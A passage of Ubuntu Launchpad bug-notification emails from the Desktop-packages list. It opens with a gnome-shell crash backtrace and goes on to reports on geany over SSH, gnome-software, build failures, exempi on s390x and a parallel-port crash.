#3 0x7fb038c0ec86 in __GI_raise (sig=6) at ../sysdeps/posix/raise.c:26
ret =
#4 0x55eb60f2875a in ?? ()
No symbol table info available.
#5
No locals.
#6 __pthread_kill_implementation (no_tid=0, signo=6, threadid=) at ./nptl/pthread_kill.c:44
tid =
ret = 0
pd =
old_mask = {__val = {140394860070080}}
ret =
pd =
old_mask =
ret =
tid =
ret =
resultvar =
resultvar =
__arg3 =
__arg2 =
__arg1 =
_a3 =
_a2 =
_a1 =
__futex =
resultvar =
__arg3 =
__arg2 =
__arg1 =
_a3 =
_a2 =
_a1 =
__futex =
__private =
__oldval =
result =
#7 __pthread_kill_internal (signo=6, threadid=) at
./nptl/pthread_kill.c:78
No locals.
#8 __GI___pthread_kill (threadid=, signo=signo@entry=6) at
./nptl/pthread_kill.c:89
No locals.
#9 0x7fb038c0ec86 in __GI_raise (sig=sig@entry=6) at
../sysdeps/posix/raise.c:26
ret =
#10 0x7fb038bf57fc in __GI_abort () at ./stdlib/abort.c:79
save_stage = 1
act = {__sigaction_handler = {sa_handler = 0x20, sa_sigaction = 0x20},
sa_mask = {__val = {94469495400448, 140722215299608, 140394859298631,
94469470593536, 31073787738849280, 94469463025520, 0, 140722215299600,
9419948534719163136, 94469438431424, 18446744073709551488, 0, 140394860072416,
140394848174200, 140722215299712, 140394860171744}}, sa_flags = 952580291,
sa_restorer = 0x7fb0390d8015}
#11 0x7fb039b1bd03 in ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
No symbol table info available.
#12 0x7fb039b75e9e in g_assertion_message_expr () from
/lib/x86_64-linux-gnu/libglib-2.0.so.0
No symbol table info available.
#13 0x7fb03905cdb2 in clutter_actor_destroy_all_children () from
/usr/lib/x86_64-linux-gnu/mutter-11/libmutter-clutter-11.so.0
No symbol table info available.
#14 0x7fb039c4ae95 in g_closure_invoke () from
/lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#15 0x7fb039c78de4 in ?? () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#16 0x7fb039c6911a in g_signal_emit_valist () from
/lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#17 0x7fb039c693a3 in g_signal_emit () from
/lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#18 0x7fb039057780 in ?? () from
/usr/lib/x86_64-linux-gnu/mutter-11/libmutter-clutter-11.so.0
No symbol table info available.
#19 0x7fb038b88055 in ?? () from /usr/lib/gnome-shell/libst-1.0.so
No symbol table info available.
#20 0x7fb039c595f0 in g_object_run_dispose () from
/lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#21 0x7fb03905b23b in clutter_actor_destroy () from
/usr/lib/x86_64-linux-gnu/mutter-11/libmutter-clutter-11.so.0
No symbol table info available.
#22 0x7fb03905cd80 in clutter_actor_destroy_all_children () from
/usr/lib/x86_64-linux-gnu/mutter-11/libmutter-clutter-11.so.0
No symbol table info available.
#23 0x7fb039c4af60 in g_closure_invoke () from
/lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#24 0x7fb039c78de4 in ?? () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#25 0x7fb039c6911a in g_signal_emit_valist () from
/lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#26 0x7fb039c693a3 in g_signal_emit () from
/lib/x86_64-linux-gnu/libgobject-2.0.so.0
No symbol table info available.
#27 0x7fb039057780 in ?? () from
[Desktop-packages] [Bug 1988785] [NEW] ssh tunneling geany crashes session, forcing logout
You have been subscribed to a public bug: ssh to a host forwarding X, and open geany on remote host. The entire session crashes, and I get logged out. I'm assuming this is a mutter issue? I have always been able to forward geany over ssh before. Both machines are running ubuntu 20.10/dev/kinetic, with kernel 6.0-rc4. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: mutter 43~beta-3ubuntu2 Uname: Linux 6.0.0-rc4 x86_64 NonfreeKernelModules: wl zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Mon Sep 5 18:32:22 2022 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: mutter UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: gnome-shell (Ubuntu) Importance: Undecided Status: Incomplete ** Tags: amd64 apport-bug kinetic wayland-session -- ssh tunneling geany crashes session, forcing logout https://bugs.launchpad.net/bugs/1988785 You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988669] Re: Unable to install "GTK Icon Browser" as not supported
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: gnome-software (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-software in Ubuntu. https://bugs.launchpad.net/bugs/1988669 Title: Unable to install "GTK Icon Browser" as not supported Status in gnome-software package in Ubuntu: Confirmed Status in gnome-software package in Debian: Unknown Bug description: GNOME Software in Xubuntu 22.10 is unable to install Debian packages. Each one shows the toast 'Unable to install "Package Name" as not supported'. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: gnome-software 43~beta-1ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-15.15-generic 5.19.0 Uname: Linux 5.19.0-15-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: XFCE Date: Sun Sep 4 07:39:24 2022 InstallationDate: Installed on 2022-09-03 (1 days ago) InstallationMedia: Xubuntu 22.10 "Kinetic Kudu" - Alpha amd64 (20220829) InstalledPlugins: gnome-software-plugin-flatpak N/A gnome-software-plugin-snap43~beta-1ubuntu2 SourcePackage: gnome-software UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1988669/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988669] Re: Unable to install "GTK Icon Browser" as not supported
** Bug watch added: Debian Bug tracker #1019364 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1019364 ** Also affects: gnome-software (Debian) via https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1019364 Importance: Unknown Status: Unknown ** Changed in: gnome-software (Ubuntu) Importance: Undecided => High -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-software in Ubuntu. https://bugs.launchpad.net/bugs/1988669 Title: Unable to install "GTK Icon Browser" as not supported Status in gnome-software package in Ubuntu: Confirmed Status in gnome-software package in Debian: Unknown Bug description: GNOME Software in Xubuntu 22.10 is unable to install Debian packages. Each one shows the toast 'Unable to install "Package Name" as not supported'. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: gnome-software 43~beta-1ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-15.15-generic 5.19.0 Uname: Linux 5.19.0-15-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: XFCE Date: Sun Sep 4 07:39:24 2022 InstallationDate: Installed on 2022-09-03 (1 days ago) InstallationMedia: Xubuntu 22.10 "Kinetic Kudu" - Alpha amd64 (20220829) InstalledPlugins: gnome-software-plugin-flatpak N/A gnome-software-plugin-snap43~beta-1ubuntu2 SourcePackage: gnome-software UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1988669/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1989029] [NEW] volume-key build test failure
Public bug reported: I'm just filing this bug for tracking. The debhelper compat bump to 13 ended up causing volume-key's build tests to fail because the path is too long for gpgme. The Debian maintainer for volume-key is working on figuring out an appropriate workaround for this issue. ** Affects: volume-key (Ubuntu) Importance: High Status: Triaged ** Tags: ftbfs kinetic update-excuse -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to volume-key in Ubuntu. https://bugs.launchpad.net/bugs/1989029 Title: volume-key build test failure Status in volume-key package in Ubuntu: Triaged Bug description: I'm just filing this bug for tracking. The debhelper compat bump to 13 ended up causing volume-key's build tests to fail because the path is too long for gpgme. The Debian maintainer for volume-key is working on figuring out an appropriate workaround for this issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/volume-key/+bug/1989029/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1987301] Re: libsoup3 FTBFS: new symbols from sysprof
This bug was fixed in the package sysprof - 3.45.1-2 --- sysprof (3.45.1-2) experimental; urgency=medium * Cherry-pick patches to fix symbol leakage to other libraries (LP: #1987301) * debian/*.symbols: Update -- Jeremy Bicha Mon, 22 Aug 2022 15:28:10 -0400 ** Changed in: sysprof (Ubuntu) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libsoup3 in Ubuntu. https://bugs.launchpad.net/bugs/1987301 Title: libsoup3 FTBFS: new symbols from sysprof Status in libsoup3 package in Ubuntu: Fix Released Status in sysprof package in Ubuntu: Fix Released Bug description: libsoup3 fails to build in Kinetic. There is a new version of sysprof that is exporting more symbols than it should so we want to get sysprof fixed. https://gitlab.gnome.org/GNOME/sysprof/-/issues/81 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libsoup3/+bug/1987301/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1949299] Re: gtk4-broadwayd missing in libgtk-4-bin 4.4 (impish and jammy)
** Changed in: gtk4 (Debian) Status: New => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gtk4 in Ubuntu. https://bugs.launchpad.net/bugs/1949299 Title: gtk4-broadwayd missing in libgtk-4-bin 4.4 (impish and jammy) Status in gtk4 package in Ubuntu: Fix Released Status in gtk4 package in Debian: Fix Released Bug description: The binary (gtk4-broadwayd) and also the devel files for gtk4 broadway are missing in the 4.4 packages for impish and jammy. They are in the hirsute package (4.0) though. For example this would be needed for Cambalache: WARNING:cambalache.cmb_view gtk4-broadwayd not found, Gtk 4 workspace wont work. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gtk4/+bug/1949299/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1987946] Re: package libgstreamermm-1.0-dev:amd64 1.10.0+dfsg-4 failed to install/upgrade: Abhängigkeitsprobleme - verbleibt unkonfiguriert
Looking at the log reveals, that it's libgstreamer1.0-dev that fails to install, see: libgstreamer1.0-dev:amd64 (1.20.3-0ubuntu1) wird eingerichtet ... »Umleitung von /usr/bin/dh_gstscancodecs zu /usr/bin/dh_gstscancodecs-gst0.10 durch libgstreamer1.0-dev« wird entfernt dpkg-divert: Fehler: Umbenennen beinhaltet Überschreiben von »/usr/bin/dh_gstscancodecs« mit anderer Datei »/usr/bin/dh_gstscancodecs-gst0.10«, nicht erlaubt dpkg: Fehler beim Bearbeiten des Paketes libgstreamer1.0-dev:amd64 (--configure): »installiertes libgstreamer1.0-dev:amd64-Skript des Paketes post-installation«-Unterprozess gab den Fehlerwert 2 zurück So, I'll reassign it to libgstreamer1.0-dev. ** Package changed: gstreamermm-1.0 (Ubuntu) => gstreamer1.0 (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gstreamer1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1987946 Title: package libgstreamermm-1.0-dev:amd64 1.10.0+dfsg-4 failed to install/upgrade: Abhängigkeitsprobleme - verbleibt unkonfiguriert Status in gstreamer1.0 package in Ubuntu: New Bug description: automatic update from ubuntu 20.04 lts to 22.04 lts ProblemType: Package DistroRelease: Ubuntu 22.04 Package: libgstreamermm-1.0-dev:amd64 1.10.0+dfsg-4 ProcVersionSignature: Ubuntu 5.4.0-124.140-generic 5.4.195 Uname: Linux 5.4.0-124-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: unknown Date: Sat Aug 27 18:25:05 2022 ErrorMessage: Abhängigkeitsprobleme - verbleibt unkonfiguriert InstallationDate: Installed on 2017-05-13 (1931 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) Python3Details: /usr/bin/python3.10, Python 3.10.4, python3-minimal, 3.10.4-0ubuntu2 PythonDetails: N/A RebootRequiredPkgs: Error: path contained symlinks. RelatedPackageVersions: dpkg 1.21.1ubuntu2.1 apt 2.4.7 SourcePackage: gstreamermm-1.0 Title: package libgstreamermm-1.0-dev:amd64 1.10.0+dfsg-4 failed to install/upgrade: Abhängigkeitsprobleme - verbleibt unkonfiguriert UpgradeStatus: Upgraded to jammy on 2022-08-24 (3 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gstreamer1.0/+bug/1987946/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1987946] [NEW] package libgstreamermm-1.0-dev:amd64 1.10.0+dfsg-4 failed to install/upgrade: Abhängigkeitsprobleme - verbleibt unkonfiguriert
You have been subscribed to a public bug: automatic update from ubuntu 20.04 lts to 22.04 lts ProblemType: Package DistroRelease: Ubuntu 22.04 Package: libgstreamermm-1.0-dev:amd64 1.10.0+dfsg-4 ProcVersionSignature: Ubuntu 5.4.0-124.140-generic 5.4.195 Uname: Linux 5.4.0-124-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: unknown Date: Sat Aug 27 18:25:05 2022 ErrorMessage: Abhängigkeitsprobleme - verbleibt unkonfiguriert InstallationDate: Installed on 2017-05-13 (1931 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) Python3Details: /usr/bin/python3.10, Python 3.10.4, python3-minimal, 3.10.4-0ubuntu2 PythonDetails: N/A RebootRequiredPkgs: Error: path contained symlinks. RelatedPackageVersions: dpkg 1.21.1ubuntu2.1 apt 2.4.7 SourcePackage: gstreamermm-1.0 Title: package libgstreamermm-1.0-dev:amd64 1.10.0+dfsg-4 failed to install/upgrade: Abhängigkeitsprobleme - verbleibt unkonfiguriert UpgradeStatus: Upgraded to jammy on 2022-08-24 (3 days ago) ** Affects: gstreamer1.0 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package jammy -- package libgstreamermm-1.0-dev:amd64 1.10.0+dfsg-4 failed to install/upgrade: Abhängigkeitsprobleme - verbleibt unkonfiguriert https://bugs.launchpad.net/bugs/1987946 You received this bug notification because you are a member of Desktop Packages, which is subscribed to gstreamer1.0 in Ubuntu. -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988230] Re: glib 2.73 breaks modemmanager
** Tags removed: block-proposed ** Tags added: update-excuse -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to glib2.0 in Ubuntu. https://bugs.launchpad.net/bugs/1988230 Title: glib 2.73 breaks modemmanager Status in GLib: New Status in glib2.0 package in Ubuntu: Triaged Status in modemmanager package in Ubuntu: Fix Released Status in glib2.0 package in Debian: Confirmed Bug description: I'm filing this bug in case we want to fix it before letting glib 2.73 in to kinetic. To manage notifications about this bug go to: https://bugs.launchpad.net/glib/+bug/1988230/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1971473] Re: Untranslated desktop file
Hello Gunnar!
This week I saw an update with a link pointing at my issue in Launchpad :)
Now MATE properly shows "Printers" in Occitan, and lots of other languages I
imagine.
i18n is getting better!
Many thanks.
Also, the issue on flatpak not showing "Credits" and "About" localized, is
being searched by others:
https://discourse.gnome.org/t/how-to-translate-strings-used-in-default-gtkaboutdialog/10927
I hope great hopes they will fix this and again, Occitan and all the other
languages will be better represented :D
Talk soon.
Quentin
- Mail original -
De: "Gunnar Hjalmarsson" <1971...@bugs.launchpad.net>
À: quentinanto...@free.fr
Envoyé: Mercredi 17 Août 2022 21:14:03
Objet: [Bug 1971473] Re: Untranslated desktop file
@Chris: I think you understood it perfectly well. The block-proposed-
jammy tag sounds fine to me.
To prepare for a possible migration to -updates later, I followed the
steps in the test plan and verified the upload.
** Tags removed: verification-needed verification-needed-jammy
** Tags added: verification-done verification-done-jammy
--
You received this bug notification because you are subscribed to the bug
report.
https://bugs.launchpad.net/bugs/1971473
Title:
Untranslated desktop file
Status in system-config-printer package in Ubuntu:
Fix Released
Status in system-config-printer source package in Jammy:
Fix Committed
Bug description:
[Impact]
While the Ubuntu changes include translatable strings, the .pot file
does not get refreshed when building, but upstream's .pot already in
the po/ directory gets imported to LP. As a result, some strings such
as "Printers" in the .desktop file show up untranslated.
There is a temorary workaround in place, but this proposal makes sure
that the fix won't be overwritten by the upstream .pot in case of some
additional package upload to jammy-proposed/jammy-updates.
[Test Plan]
It may be advisable to install system-config-printer{,-common} from
jammy-proposed and confirm that the updated packages work as usual.
But this is all about language packs in future point releases, and to
confirm the intention with this upload, please take these steps:
* Check out the translation import queue:
https://translations.launchpad.net/ubuntu/jammy/+source/system-config-printer/+imports
and confirm that the new po/system-config-printer.pot file was imported
successfully.
* Visit this page:
https://translations.launchpad.net/ubuntu/jammy/+source/system-config-printer/+pots/system-config-printer/oc/569
and confirm that it still leads to the "Printers" page with an Occitan
translation.
[Where problems could occur]
The buildlogs include some warnings related to the creation of the
.pot file. But we don't really know if upstream does it better, and I
have not identified any significant resulting issue.
[Original description]
Hello,
I am using Ubuntu MATE and on its control centre the entry "Printers" is not
translated whereas 100% translated.
It comes from the desktop file apparently. It happens to me in Occitan,
Catalan and French, didn't try more locales.
I opened an issue here:
https://github.com/mate-desktop/mate-control-center/issues/693#issuecomment-1115713053
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/system-config-printer/+bug/1971473/+subscriptions
** Bug watch added: github.com/mate-desktop/mate-control-center/issues #693
https://github.com/mate-desktop/mate-control-center/issues/693
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to system-config-printer in Ubuntu.
https://bugs.launchpad.net/bugs/1971473
Title:
Untranslated desktop file
Status in system-config-printer package in Ubuntu:
Fix Released
Status in system-config-printer source package in Jammy:
Fix Committed
Bug description:
[Impact]
While the Ubuntu changes include translatable strings, the .pot file
does not get refreshed when building, but upstream's .pot already in
the po/ directory gets imported to LP. As a result, some strings such
as "Printers" in the .desktop file show up untranslated.
There is a temorary workaround in place, but this proposal makes sure
that the fix won't be overwritten by the upstream .pot in case of some
additional package upload to jammy-proposed/jammy-updates.
[Test Plan]
It may be advisable to install system-config-printer{,-common} from
jammy-proposed and confirm that the updated packages work as usual.
But this is all about language packs in future point releases, and to
confirm the intention with this upload, please take these steps:
* Check out the translation import queue:
https://translations.launchpad.net/ubuntu/jammy/+source/system-config-printer/+imports
and confirm that the new po/system-config-printer.pot file was imported
successfully.
* Visit this page:
[Desktop-packages] [Bug 1988266] Re: Tests are failing on s390x
An IBM engineer commented a week ago on https:/bugs.debian.org/1018224 that he will look into this bug but it might not be fixed soon enough for our needs. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to exempi in Ubuntu. https://bugs.launchpad.net/bugs/1988266 Title: Tests are failing on s390x Status in exempi package in Ubuntu: New Bug description: It's a BE issue, reported upstream https://gitlab.freedesktop.org/libopenraw/exempi/-/issues/23 and in Debian https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1014061 The issue isn't new but that test didn't exist in the previous version To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/exempi/+bug/1988266/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988266] Re: Tests are failing on s390x
$ reverse-depends src:exempi Reverse-Depends * caja (for libexempi8) * eog (for libexempi8) * eom (for libexempi8) * equalx(for libexempi8) * nemo (for libexempi8) * tellico (for libexempi8) * tracker-extract (for libexempi8) One proposal suggested by Debian's exempi maintainer is to remove exempi on s390x. All of its reverse dependencies except for equalx have a build option for exempi so we could turn off that feature on that architecture by tweaking debian/control and debian/rules. equalx has no reverse dependencies so removing exempi on s390x seems fine. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to exempi in Ubuntu. https://bugs.launchpad.net/bugs/1988266 Title: Tests are failing on s390x Status in exempi package in Ubuntu: New Bug description: It's a BE issue, reported upstream https://gitlab.freedesktop.org/libopenraw/exempi/-/issues/23 and in Debian https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1014061 The issue isn't new but that test didn't exist in the previous version To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/exempi/+bug/1988266/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1956533] Re: Printing anything to /dev/lp0 makes Ubuntu Server 20.04 crash
Moving to the kernel. A already the command 'echo "Test" > /dev/lp0' causes the crash, it is not caused by CUPS, but by the implementation of /dev/lp0 which is the kernel. ** Package changed: cups (Ubuntu) => linux (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/1956533 Title: Printing anything to /dev/lp0 makes Ubuntu Server 20.04 crash Status in linux package in Ubuntu: New Bug description: Whenever I try to print anything to /dev/lp0 (the parallel port of my ASUS M5A78L-M LE mainboard), my Ubuntu 20.04 server freezes completely (display gets black, no keyboard input, no network reaction). Thereby it doesn't matter whether I try printing a testpage in the webinterface of CUPS (http://localhost:631), trying to print a Windows 10 test page from a SaMBa client or try entering 'echo "Test" > /dev/lp0' on the console. When trying the latter, my HP LaserJet 6L printer prints 'Te', so a little bit of the print job seams to come out before the crash. In /var/log/syslog, there are no entries about the crash (I tried waiting 5 minutes, then do the echo test, then wait another 5 minutes before restarting to be able to isolate any possible entries caused by the crash clearly by the time stamp, but there aren't any). As a workaround, I installed a DELOCK 90413 'Serial + Parallel PCI Express x1 Card' into my server, which is recognized as /dev/lp1. When using this parallel port, printing works perfectly. In my old hardware with another mainboard, the same installation (I just changed hard disks) worked perfectly with the internal /dev/lp0. I also tried printing to the problematic parallel port on my new server hardware (the problematic one) using FreeDOS 1.3, just to confirm that my hardware is not defective, and it worked perfectly. So Ubuntu 20.04 seems to have a problem with the internal parallel port of the ASUS M5A78L-M LE mainboard. Unfortunately, I cannot tell which package is affected as I can't find any log entries. However, I guess, it's not cups, as a direct echo to /dev/lp0 also does not work. So I guess, it's something deeper. What you also need: 1) Ubuntu 20.04.3 LTS 2) I don'd know. Sorry. 3) When printing to /dev/lp0, a page should come out of the printer. 4) When printing to /dev/lp0, the whole system crashed (display black, no reaction to anything). If I can provide you further information to fix this bug, please don't hesitate to contact me. However, you need to help me how to gather it, as all my ideas are already described above. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1956533/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1956533] Re: Printing anything to /dev/lp0 makes Ubuntu Server 20.04 crash
According to https://wiki.ubuntu.com/Bugs/FindRightPackage#Printing the package that this bug report should initially be reported against is 'cups'. ** Tags added: focal ** Package changed: ubuntu => cups (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/1956533 Title: Printing anything to /dev/lp0 makes Ubuntu Server 20.04 crash Status in cups package in Ubuntu: New Bug description: Whenever I try to print anything to /dev/lp0 (the parallel port of my ASUS M5A78L-M LE mainboard), my Ubuntu 20.04 server freezes completely (display gets black, no keyboard input, no network reaction). Thereby it doesn't matter whether I try printing a testpage in the webinterface of CUPS (http://localhost:631), trying to print a Windows 10 test page from a SaMBa client or try entering 'echo "Test" > /dev/lp0' on the console. When trying the latter, my HP LaserJet 6L printer prints 'Te', so a little bit of the print job seams to come out before the crash. In /var/log/syslog, there are no entries about the crash (I tried waiting 5 minutes, then do the echo test, then wait another 5 minutes before restarting to be able to isolate any possible entries caused by the crash clearly by the time stamp, but there aren't any). As a workaround, I installed a DELOCK 90413 'Serial + Parallel PCI Express x1 Card' into my server, which is recognized as /dev/lp1. When using this parallel port, printing works perfectly. In my old hardware with another mainboard, the same installation (I just changed hard disks) worked perfectly with the internal /dev/lp0. I also tried printing to the problematic parallel port on my new server hardware (the problematic one) using FreeDOS 1.3, just to confirm that my hardware is not defective, and it worked perfectly. So Ubuntu 20.04 seems to have a problem with the internal parallel port of the ASUS M5A78L-M LE mainboard. Unfortunately, I cannot tell which package is affected as I can't find any log entries. However, I guess, it's not cups, as a direct echo to /dev/lp0 also does not work. So I guess, it's something deeper. What you also need: 1) Ubuntu 20.04.3 LTS 2) I don'd know. Sorry. 3) When printing to /dev/lp0, a page should come out of the printer. 4) When printing to /dev/lp0, the whole system crashed (display black, no reaction to anything). If I can provide you further information to fix this bug, please don't hesitate to contact me. However, you need to help me how to gather it, as all my ideas are already described above. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1956533/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1956533] [NEW] Printing anything to /dev/lp0 makes Ubuntu Server 20.04 crash
You have been subscribed to a public bug: Whenever I try to print anything to /dev/lp0 (the parallel port of my ASUS M5A78L-M LE mainboard), my Ubuntu 20.04 server freezes completely (display gets black, no keyboard input, no network reaction). Thereby it doesn't matter whether I try printing a testpage in the webinterface of CUPS (http://localhost:631), trying to print a Windows 10 test page from a SaMBa client or try entering 'echo "Test" > /dev/lp0' on the console. When trying the latter, my HP LaserJet 6L printer prints 'Te', so a little bit of the print job seams to come out before the crash. In /var/log/syslog, there are no entries about the crash (I tried waiting 5 minutes, then do the echo test, then wait another 5 minutes before restarting to be able to isolate any possible entries caused by the crash clearly by the time stamp, but there aren't any). As a workaround, I installed a DELOCK 90413 'Serial + Parallel PCI Express x1 Card' into my server, which is recognized as /dev/lp1. When using this parallel port, printing works perfectly. In my old hardware with another mainboard, the same installation (I just changed hard disks) worked perfectly with the internal /dev/lp0. I also tried printing to the problematic parallel port on my new server hardware (the problematic one) using FreeDOS 1.3, just to confirm that my hardware is not defective, and it worked perfectly. So Ubuntu 20.04 seems to have a problem with the internal parallel port of the ASUS M5A78L-M LE mainboard. Unfortunately, I cannot tell which package is affected as I can't find any log entries. However, I guess, it's not cups, as a direct echo to /dev/lp0 also does not work. So I guess, it's something deeper. What you also need: 1) Ubuntu 20.04.3 LTS 2) I don'd know. Sorry. 3) When printing to /dev/lp0, a page should come out of the printer. 4) When printing to /dev/lp0, the whole system crashed (display black, no reaction to anything). If I can provide you further information to fix this bug, please don't hesitate to contact me. However, you need to help me how to gather it, as all my ideas are already described above. ** Affects: cups (Ubuntu) Importance: Undecided Status: New ** Tags: bot-comment focal -- Printing anything to /dev/lp0 makes Ubuntu Server 20.04 crash https://bugs.launchpad.net/bugs/1956533 You received this bug notification because you are a member of Desktop Packages, which is subscribed to cups in Ubuntu. -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988576] Re: Maximized window goes behind the launcher
